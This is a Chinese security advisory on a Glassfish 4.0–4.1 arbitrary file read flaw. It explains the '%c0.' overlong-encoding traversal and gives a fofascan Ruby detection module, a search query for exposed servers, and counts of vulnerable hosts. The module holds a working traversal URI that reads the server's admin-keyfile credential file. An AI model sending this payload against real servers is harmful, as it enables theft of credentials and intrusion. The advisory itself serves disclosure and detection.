Glassfish应用服务器任意文件读取漏洞
概述
近日,一些安全团队就Glassfish的任意文件读取漏洞进行了讨论,起因来自乌云网站的一个公开漏洞。该漏洞描述了一个针对Glassfish服务器的通用型漏洞,影响版本是4.0到4.1,官方网站最新的版本是4.1.1,已经在漏洞公开之前进行了修复,说明该漏洞是一个已知问题。
此次漏洞能够读取服务器任意文件,包括读取包含敏感信息(如数据库连接密码等),攻击者有可能通过敏感信息访问核心数据,包括窃取,修复,破坏等操作,甚至是进一步获取服务器控制权限。通过白帽汇安全团队针对全国的跟踪发现,全国有将近580台Glassfish服务器,其中有235台服务器受该漏洞影响,占比40%。此次事件影响范围不算大,各企业可以进行针对性的修复,不必要形成恐慌。
GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。
技术分析
通过NOSEC大数据安全平台,可以使用?body="webui/jsf" 进行全网查询:
这个漏洞的本质原理是由于java语言中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点),我们也可以变成%c0.的形式。通过fofascan脚本模块生成的测试代码如下:
require?'fofa_core'
class?FofaExploits?<?Fofa::Exploit
? def?initialize(info?=?{})
? ? super(
? ? ? 'Name'?=>?'Glassfish敏感信息泄漏漏洞',
? ? ? 'Description'?=>?%q{Glassfish敏感信息泄漏漏洞,影响4.0-4.1版本,4.1.1不影响。? ? ? ? ? },
? ? ? 'Author'?=>? ? ? ? ? [
? ? ? ? ? ? ? 'LubyRuffy',
? ? ? ? ? ],
? ? ? 'Product'?=>?'Glassfish',
? ? ? 'Homepage'?=>?'https://glassfish.java.net/',
? ? ? 'References'?=>? ? ? ? ? [
? ? ? ? ? ? ? ['wooyun',?'2015-0144595'],
? ? ? ? ? ],
? ? ? 'DisclosureDate'=>?'2016-01-11',
? ? ? 'FofaQuery'=>'body="webui/jsf"',
? ? ? 'ScanSteps'?=>? ? ? ? ? [
? ? ? ? ? ? {
? ? ? ? ? ? ? 'Request'=>? ? ? ? ? ? ? ? ?{
? ? ? ? ? ? ? ? ? ? 'method'=>?'GET',
? ? ? ? ? ? ? ? ? ? 'follow_redirect'=>?true,
? ? ? ? ? ? ? ? ? ? 'uri'=>?'/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile',
? ? ? ? ? ? ? ? ?},
? ? ? ? ? ? ? 'ResponseTest'=>?{
? ? ? ? ? ? ? ? ? 'type'=>?'group',
? ? ? ? ? ? ? ? ? 'operation'=>?'AND',
? ? ? ? ? ? ? ? ? 'checks'=>?[
? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? 'type'=>?'item',
? ? ? ? ? ? ? ? ? ? ? ? 'variable'=>?'$code',
? ? ? ? ? ? ? ? ? ? ? ? 'operation'=>?'==',
? ? ? ? ? ? ? ? ? ? ? ? 'value'=>?200? ? ? ? ? ? ? ? ? ? },
? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? 'type'=>?'item',
? ? ? ? ? ? ? ? ? ? ? 'variable'=>?'$body',
? ? ? ? ? ? ? ? ? ? ? 'operation'=>?'contains',
? ? ? ? ? ? ? ? ? ? ? 'value'=>?'asadmin'? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ]
? ? ? ? ? ? ? }
? ? ? ? ? ? }
? ? ? ? ? ]
? ? )
? end?
def?vulnerable(hostinfo)
? ? excute_scansteps(hostinfo)?if?@info['ScanSteps']
? end?
def?exploit(hostinfo)
? ? "未实现"?
end
end
./fofascan.rb -m glassfish_infoleak > glassfish_infoleak_result.txt
cat glassfish_infoleak_result.txt | wc -l
580
cat glassfish_infoleak_result.txt | grep vul | wc -l
235
最终统计出,国内大约40%的网站受影响:
最新评论